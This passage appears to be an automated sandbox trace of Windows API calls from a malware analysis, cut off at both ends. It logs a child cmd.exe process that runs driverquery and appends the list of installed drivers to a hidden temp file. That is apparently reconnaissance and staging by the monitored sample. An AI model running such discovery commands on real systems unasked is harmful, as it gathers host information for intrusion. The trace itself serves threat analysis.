lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.672] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0143.672] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0143.673] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0143.673] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0143.673] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0143.673] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0143.673] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0143.673] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0143.673] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0143.673] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0143.673] GetProcessHeap () returned 0x320000 [0143.673] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x338570 [0143.673] GetProcessHeap () returned 0x320000 [0143.673] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x338570, Size=0x24) returned 0x334680 [0143.673] GetProcessHeap () returned 0x320000 [0143.673] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x334680) returned 0x24 [0143.673] GetProcessHeap () returned 0x320000 [0143.674] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x3365b0 [0143.674] _vsnwprintf (in: _Buffer=0x4ab16340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x23f228 | out: _Buffer="-------- \r\n") returned 11 [0143.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0143.674] GetFileType (hFile=0x50) returned 0x1 [0143.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0143.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4ab0c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0143.674] WriteFile (in: hFile=0x50, lpBuffer=0x4ab0c320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x23f1f8, lpOverlapped=0x0 | out: lpBuffer=0x4ab0c320*, lpNumberOfBytesWritten=0x23f1f8*=0xb, lpOverlapped=0x0) returned 1 [0143.674] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0143.675] _close (_FileHandle=3) returned 0 [0143.675] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.675] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0143.676] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.676] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aafe194 | out: lpMode=0x4aafe194) returned 1 [0143.676] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.676] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aafe198 | out: lpMode=0x4aafe198) returned 1 [0143.676] SetConsoleInputExeNameW () returned 0x1 [0143.676] GetConsoleOutputCP () returned 0x1b5 [0143.676] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab0bfe0 | out: lpCPInfo=0x4ab0bfe0) returned 1 [0143.676] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.676] exit (_Code=0) Process: id = "36" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xc95e000" os_pid = "0xa54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 338 os_tid = 0x9ec [0143.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f830 | out: lpSystemTimeAsFileTime=0x19f830*(dwLowDateTime=0xfce258d0, dwHighDateTime=0x1d51ed4)) [0143.752] GetCurrentProcessId () returned 0xa54 [0143.752] GetCurrentThreadId () returned 0x9ec [0143.752] GetTickCount () returned 0x2fe7a [0143.752] QueryPerformanceCounter (in: lpPerformanceCount=0x19f838 | out: lpPerformanceCount=0x19f838*=26827660239) returned 1 [0143.753] GetModuleHandleW (lpModuleName=0x0) returned 0x4a110000 [0143.753] __set_app_type (_Type=0x1) [0143.754] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a137810) returned 0x0 [0143.754] __getmainargs (in: _Argc=0x4a15a608, _Argv=0x4a15a618, _Env=0x4a15a610, _DoWildCard=0, _StartInfo=0x4a13e0f4 | out: _Argc=0x4a15a608, _Argv=0x4a15a618, _Env=0x4a15a610) returned 0 [0143.754] GetCurrentThreadId () returned 0x9ec [0143.754] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9ec) returned 0x3c [0143.754] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0143.754] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0143.754] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.754] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0143.754] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f7c8 | out: phkResult=0x19f7c8*=0x0) returned 0x2 [0143.755] VirtualQuery (in: lpAddress=0x19f7b0, lpBuffer=0x19f730, dwLength=0x30 | out: lpBuffer=0x19f730*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.755] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19f730, dwLength=0x30 | out: lpBuffer=0x19f730*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.755] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19f730, dwLength=0x30 | out: lpBuffer=0x19f730*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.755] VirtualQuery (in: lpAddress=0xa4000, lpBuffer=0x19f730, dwLength=0x30 | out: lpBuffer=0x19f730*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.755] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19f730, dwLength=0x30 | out: lpBuffer=0x19f730*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0143.755] GetConsoleOutputCP () returned 0x1b5 [0143.755] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a14bfe0 | out: lpCPInfo=0x4a14bfe0) returned 1 [0143.755] SetConsoleCtrlHandler (HandlerRoutine=0x4a133184, Add=1) returned 1 [0143.755] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.755] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0143.755] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.755] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a13e194 | out: lpMode=0x4a13e194) returned 1 [0143.756] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.756] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0143.756] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.756] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a13e198 | out: lpMode=0x4a13e198) returned 1 [0143.756] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.756] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0143.756] GetEnvironmentStringsW () returned 0x269ab0* [0143.756] GetProcessHeap () returned 0x250000 [0143.756] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa78) returned 0x26a530 [0143.756] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0143.756] GetProcessHeap () returned 0x250000 [0143.756] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x8) returned 0x26afb0 [0143.756] GetEnvironmentStringsW () returned 0x269ab0* [0143.756] GetProcessHeap () returned 0x250000 [0143.757] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa78) returned 0x26afd0 [0143.757] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0143.757] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19e688 | out: phkResult=0x19e688*=0x44) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x18, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x1, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x1, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x0, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x40, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x40, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x40, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegCloseKey (hKey=0x44) returned 0x0 [0143.757] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19e688 | out: phkResult=0x19e688*=0x44) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x40, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x1, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x1, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x0, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x9, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x4, lpData=0x19e6a0*=0x9, lpcbData=0x19e684*=0x4) returned 0x0 [0143.757] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19e680, lpData=0x19e6a0, lpcbData=0x19e684*=0x1000 | out: lpType=0x19e680*=0x0, lpData=0x19e6a0*=0x9, lpcbData=0x19e684*=0x1000) returned 0x2 [0143.757] RegCloseKey (hKey=0x44) returned 0x0 [0143.758] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2094 [0143.758] srand (_Seed=0x5cfd2094) [0143.758] GetCommandLineW () returned="cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0143.758] GetCommandLineW () returned="cmd /C \"driverquery.exe >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0143.758] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a14c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.758] GetProcessHeap () returned 0x250000 [0143.758] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x218) returned 0x26ba50 [0143.758] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26ba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0143.758] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0143.758] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0143.758] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0143.758] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0143.758] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0143.758] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0143.758] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0143.758] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0143.758] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0143.758] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0143.758] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0143.758] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0143.759] GetProcessHeap () returned 0x250000 [0143.759] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26a530 | out: hHeap=0x250000) returned 1 [0143.759] GetEnvironmentStringsW () returned 0x269ab0* [0143.759] GetProcessHeap () returned 0x250000 [0143.759] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa90) returned 0x26c710 [0143.759] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0143.759] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.759] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0143.759] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0143.759] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0143.759] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0143.759] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0143.759] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0143.759] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0143.759] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0143.759] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0143.759] GetProcessHeap () returned 0x250000 [0143.759] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x38) returned 0x2664f0 [0143.759] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19f490 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.759] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x19f490, lpFilePart=0x19f470 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x19f470*="system32") returned 0x13 [0143.759] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0143.759] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x19f1a0 | out: lpFindFileData=0x19f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x268340 [0143.759] FindClose (in: hFindFile=0x268340 | out: hFindFile=0x268340) returned 1 [0143.760] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x19f1a0 | out: lpFindFileData=0x19f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x268340 [0143.760] FindClose (in: hFindFile=0x268340 | out: hFindFile=0x268340) returned 1 [0143.760] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0143.760] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0143.760] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0143.760] GetProcessHeap () returned 0x250000 [0143.760] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c710 | out: hHeap=0x250000) returned 1 [0143.760] GetEnvironmentStringsW () returned 0x269ab0* [0143.760] GetProcessHeap () returned 0x250000 [0143.760] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xac0) returned 0x26bc70 [0143.760] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0143.760] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a14c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.760] GetProcessHeap () returned 0x250000 [0143.760] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2664f0 | out: hHeap=0x250000) returned 1 [0143.760] GetProcessHeap () returned 0x250000 [0143.760] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4016) returned 0x26dc80 [0143.760] GetProcessHeap () returned 0x250000 [0143.760] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x9c) returned 0x26c740 [0143.761] GetProcessHeap () returned 0x250000 [0143.761] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4010) returned 0x271ca0 [0143.761] GetProcessHeap () returned 0x250000 [0143.761] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4010) returned 0x275cc0 [0143.762] GetProcessHeap () returned 0x250000 [0143.762] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dc80 | out: hHeap=0x250000) returned 1 [0143.762] GetConsoleOutputCP () returned 0x1b5 [0143.762] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a14bfe0 | out: lpCPInfo=0x4a14bfe0) returned 1 [0143.762] GetUserDefaultLCID () returned 0x409 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a147b50, cchData=8 | out: lpLCData=":") returned 2 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19f5a0, cchData=128 | out: lpLCData="0") returned 2 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19f5a0, cchData=128 | out: lpLCData="0") returned 2 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19f5a0, cchData=128 | out: lpLCData="1") returned 2 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a15a740, cchData=8 | out: lpLCData="/") returned 2 [0143.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a15a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a15a460, cchData=32 | out: lpLCData="Tue") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a15a420, cchData=32 | out: lpLCData="Wed") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a15a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a15a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a15a360, cchData=32 | out: lpLCData="Sat") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a15a700, cchData=32 | out: lpLCData="Sun") returned 4 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a147b40, cchData=8 | out: lpLCData=".") returned 2 [0143.763] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a15a4e0, cchData=8 | out: lpLCData=",") returned 2 [0143.763] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0143.763] GetProcessHeap () returned 0x250000 [0143.763] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x20c) returned 0x26c7f0 [0143.763] GetConsoleTitleW (in: lpConsoleTitle=0x26c7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.764] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0143.764] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0143.764] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0143.764] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0143.764] GetProcessHeap () returned 0x250000 [0143.764] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4012) returned 0x26dc80 [0143.764] GetProcessHeap () returned 0x250000 [0143.764] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dc80 | out: hHeap=0x250000) returned 1 [0143.765] _wcsicmp (_String1="driverquery.exe", _String2=")") returned 59 [0143.765] _wcsicmp (_String1="FOR", _String2="driverquery.exe") returned 2 [0143.765] _wcsicmp (_String1="FOR/?", _String2="driverquery.exe") returned 2 [0143.765] _wcsicmp (_String1="IF", _String2="driverquery.exe") returned 5 [0143.765] _wcsicmp (_String1="IF/?", _String2="driverquery.exe") returned 5 [0143.765] _wcsicmp (_String1="REM", _String2="driverquery.exe") returned 14 [0143.765] _wcsicmp (_String1="REM/?", _String2="driverquery.exe") returned 14 [0143.765] GetProcessHeap () returned 0x250000 [0143.765] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb0) returned 0x26ca10 [0143.765] GetProcessHeap () returned 0x250000 [0143.765] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x30) returned 0x2664f0 [0143.765] GetProcessHeap () returned 0x250000 [0143.765] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x14) returned 0x26cad0 [0143.765] GetProcessHeap () returned 0x250000 [0143.765] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x38) returned 0x266570 [0143.768] GetProcessHeap () returned 0x250000 [0143.768] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x6e) returned 0x26caf0 [0143.769] GetProcessHeap () returned 0x250000 [0143.769] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x28) returned 0x2645f0 [0143.769] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.769] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.769] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.769] GetFileType (hFile=0x7) returned 0x2 [0143.769] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0143.769] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x19f478 | out: lpMode=0x19f478) returned 1 [0143.769] _dup (_FileHandle=1) returned 3 [0143.769] _close (_FileHandle=1) returned 0 [0143.770] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0143.770] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x19f428, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0143.770] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0143.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0143.770] GetFileType (hFile=0x50) returned 0x1 [0143.770] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x208c [0143.770] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x19f488*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f488*=0) returned 0x208b [0143.770] ReadFile (in: hFile=0x50, lpBuffer=0x19f478, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19f420, lpOverlapped=0x0 | out: lpBuffer=0x19f478*, lpNumberOfBytesRead=0x19f420*=0x1, lpOverlapped=0x0) returned 1 [0143.770] GetConsoleTitleW (in: lpConsoleTitle=0x19f4b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.771] GetFileAttributesW (lpFileName="driverquery.exe" (normalized: "c:\\windows\\system32\\driverquery.exe")) returned 0x20 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="DIR") returned 9 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="ERASE") returned -1 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="DEL") returned 13 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="TYPE") returned -16 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="COPY") returned 1 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="CD") returned 1 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="CHDIR") returned 1 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="RENAME") returned -14 [0143.771] 